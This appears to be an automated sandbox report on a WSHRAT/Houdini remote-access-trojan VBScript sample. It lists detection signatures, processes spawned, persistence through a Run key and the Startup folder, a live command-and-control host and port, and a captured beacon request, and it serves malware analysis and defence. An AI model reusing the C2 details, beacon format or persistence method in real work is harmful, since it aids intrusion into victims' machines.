Edit tour

Windows Analysis Report
ORDER230322.vbs

Overview

General Information

Sample Name:	ORDER230322.vbs
Analysis ID:	832141
MD5:	2a76503660d140d0aa08bd758cb9c29c
SHA1:	55c1ba23321e11c0298450fb9dfa1ccebdea2d86
SHA256:	5f0329e51f347ca573ea69cd865bb03d0526d9e9e91477a4502a9fe35c3fbddf
Tags:	RATvbsWSHRAT
Infos:

Detection

WSHRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected WSHRAT

Detected WSHRat

System process connects to network (likely due to code injection or exploit)

Sigma detected: Register Wscript In Run Key

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

VBScript performs obfuscated calls to suspicious functions

Snort IDS alert for network traffic

Wscript called in batch mode (surpress errors)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

C2 URLs / IPs found in malware configuration

Uses known network protocols on non-standard ports

Drops VBS files to the startup folder

Windows Shell Script Host drops VBS files

Java / VBScript file with very long strings (likely obfuscated code)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Detected TCP or UDP traffic on non-standard ports

Creates a start menu entry (Start Menu\Programs\Startup)

Stores files to the Windows start menu directory

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5492 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER230322.vbs" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 2352 cmdline: C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 5448 cmdline: C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 1276 cmdline: C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 4024 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 6032 cmdline: C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Houdini, WSHRAT	Houdini is a VBS-based RAT dating back to 2013. Past in the days, it used to be wrapped in an .exe but started being spamvertized or downloaded by other malware directly as .vbs in 2018. In 2019, WSHRAT appeared, a Javascript-based version of Houdini, recoded by the name of Kognito.	No Attribution	http://blog.morphisec.com/hworm-houdini-aka-njrat http://blogs.360.cn/post/analysis-of-apt-c-37.html https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/ https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.houdini

Malware Configuration

Threatname: WSHRAT

{"C2 url": "chongmei33.publicvm.com", "Port": "7045", "Install folder": "%temp%"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security

Other

Source	Rule	Description	Author
amsi64_5492.amsi.csv	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
amsi64_2352.amsi.csv	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
amsi64_5448.amsi.csv	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
amsi64_4024.amsi.csv	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security

Sigma Signatures

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\wscript.exe, ProcessId: 5492, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs

Persistence and Installation Behavior

Sigma detected: Register Wscript In Run Key

Source: Registry Key set

Author: Joe Security: Data: Details: wscript.exe //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs", EventID: 13, EventType: SetValue, Image: C:\Windows\System32\wscript.exe, ProcessId: 5492, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ORDER230322

Snort Signatures

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224972770452017516 03/22/23-11:40:42.430467
SID:	2017516
Source Port:	49727
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224973070452017516 03/22/23-11:41:00.836849
SID:	2017516
Source Port:	49730
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224972370452017516 03/22/23-11:40:19.769701
SID:	2017516
Source Port:	49723
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224970770452017516 03/22/23-11:38:44.353443
SID:	2017516
Source Port:	49707
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224971170452017516 03/22/23-11:39:07.144389
SID:	2017516
Source Port:	49711
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224971770452017516 03/22/23-11:39:44.283625
SID:	2017516
Source Port:	49717
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224971370452017516 03/22/23-11:39:18.634150
SID:	2017516
Source Port:	49713
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224970370452017516 03/22/23-11:38:21.870237
SID:	2017516
Source Port:	49703
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224972170452017516 03/22/23-11:40:08.630285
SID:	2017516
Source Port:	49721
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224973170452017516 03/22/23-11:41:06.386063
SID:	2017516
Source Port:	49731
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224972670452017516 03/22/23-11:40:36.721932
SID:	2017516
Source Port:	49726
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224970670452017516 03/22/23-11:38:37.956187
SID:	2017516
Source Port:	49706
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224971670452017516 03/22/23-11:39:38.695593
SID:	2017516
Source Port:	49716
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224970970452017516 03/22/23-11:38:55.844827
SID:	2017516
Source Port:	49709
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224971270452017516 03/22/23-11:39:12.966342
SID:	2017516
Source Port:	49712
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224969870452017516 03/22/23-11:37:51.449935
SID:	2017516
Source Port:	49698
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224970270452017516 03/22/23-11:38:16.269118
SID:	2017516
Source Port:	49702
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224971970452017516 03/22/23-11:39:56.012177
SID:	2017516
Source Port:	49719
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224972270452017516 03/22/23-11:40:14.190562
SID:	2017516
Source Port:	49722
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224972970452017516 03/22/23-11:40:53.627793
SID:	2017516
Source Port:	49729
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224973270452017516 03/22/23-11:41:12.041835
SID:	2017516
Source Port:	49732
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224971570452017516 03/22/23-11:39:32.263868
SID:	2017516
Source Port:	49715
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224970570452017516 03/22/23-11:38:31.858320
SID:	2017516
Source Port:	49705
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224972570452017516 03/22/23-11:40:31.131057
SID:	2017516
Source Port:	49725
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224971870452017516 03/22/23-11:39:50.397216
SID:	2017516
Source Port:	49718
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224969970452017516 03/22/23-11:37:58.976360
SID:	2017516
Source Port:	49699
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224970170452017516 03/22/23-11:38:10.473997
SID:	2017516
Source Port:	49701
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224972870452017516 03/22/23-11:40:47.984993
SID:	2017516
Source Port:	49728
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224970070452017516 03/22/23-11:38:04.682959
SID:	2017516
Source Port:	49700
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224972470452017516 03/22/23-11:40:25.447386
SID:	2017516
Source Port:	49724
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224971070452017516 03/22/23-11:39:01.482922
SID:	2017516
Source Port:	49710
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224972070452017516 03/22/23-11:40:01.578389
SID:	2017516
Source Port:	49720
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224970870452017516 03/22/23-11:38:50.072461
SID:	2017516
Source Port:	49708
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.3 - Destination IP: 103.47.144.22

Timestamp:	192.168.2.3103.47.144.224971470452017516 03/22/23-11:39:24.263757
SID:	2017516
Source Port:	49714
Destination Port:	7045
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: ORDER230322.vbs	ReversingLabs: Detection: 27%
Source: ORDER230322.vbs	Virustotal: Detection: 41%			Perma Link

Source: amsi64_5492.amsi.csv

Malware Configuration Extractor: WSHRAT {"C2 url": "chongmei33.publicvm.com", "Port": "7045", "Install folder": "%temp%"}

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Domain query: chongmei33.publicvm.com
Source: C:\Windows\System32\wscript.exe	Network Connect: 103.47.144.22 7045			Jump to behavior

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49698 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49699 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49700 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49701 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49702 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49703 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49705 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49706 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49707 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49708 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49709 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49710 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49711 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49712 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49713 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49714 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49715 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49716 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49717 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49718 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49719 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49720 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49721 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49722 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49723 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49724 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49725 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49726 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49727 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49728 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49729 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49730 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49731 -> 103.47.144.22:7045
Source: Traffic	Snort IDS: 2017516 ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 192.168.2.3:49732 -> 103.47.144.22:7045

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: chongmei33.publicvm.com

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 7045 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 7045

Source: global traffic

TCP traffic: 192.168.2.3:49698 -> 103.47.144.22:7045

Source: unknown

HTTP traffic detected: POST /is-ready HTTP/1.1Accept: */*user-agent: WSHRAT|0453C53E|computer|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 3/22/2023|Visual BasicAccept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateHost: chongmei33.publicvm.com:7045Content-Length: 0Connection: Keep-AliveCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: chongmei33.publicvm.com

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected WSHRAT

Source: Yara match	File source: amsi64_5492.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_2352.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_5448.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_4024.amsi.csv, type: OTHER
Source: Yara match	File source: dump.pcap, type: PCAP

System Summary

Wscript called in batch mode (surpress errors)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs	Jump to behavior

Source: ORDER230322.vbs

Initial sample: Strings found which are bigger than 50

Source: ORDER230322.vbs	ReversingLabs: Detection: 27%
Source: ORDER230322.vbs	Virustotal: Detection: 41%

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER230322.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\wscript.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER230322.vbs"

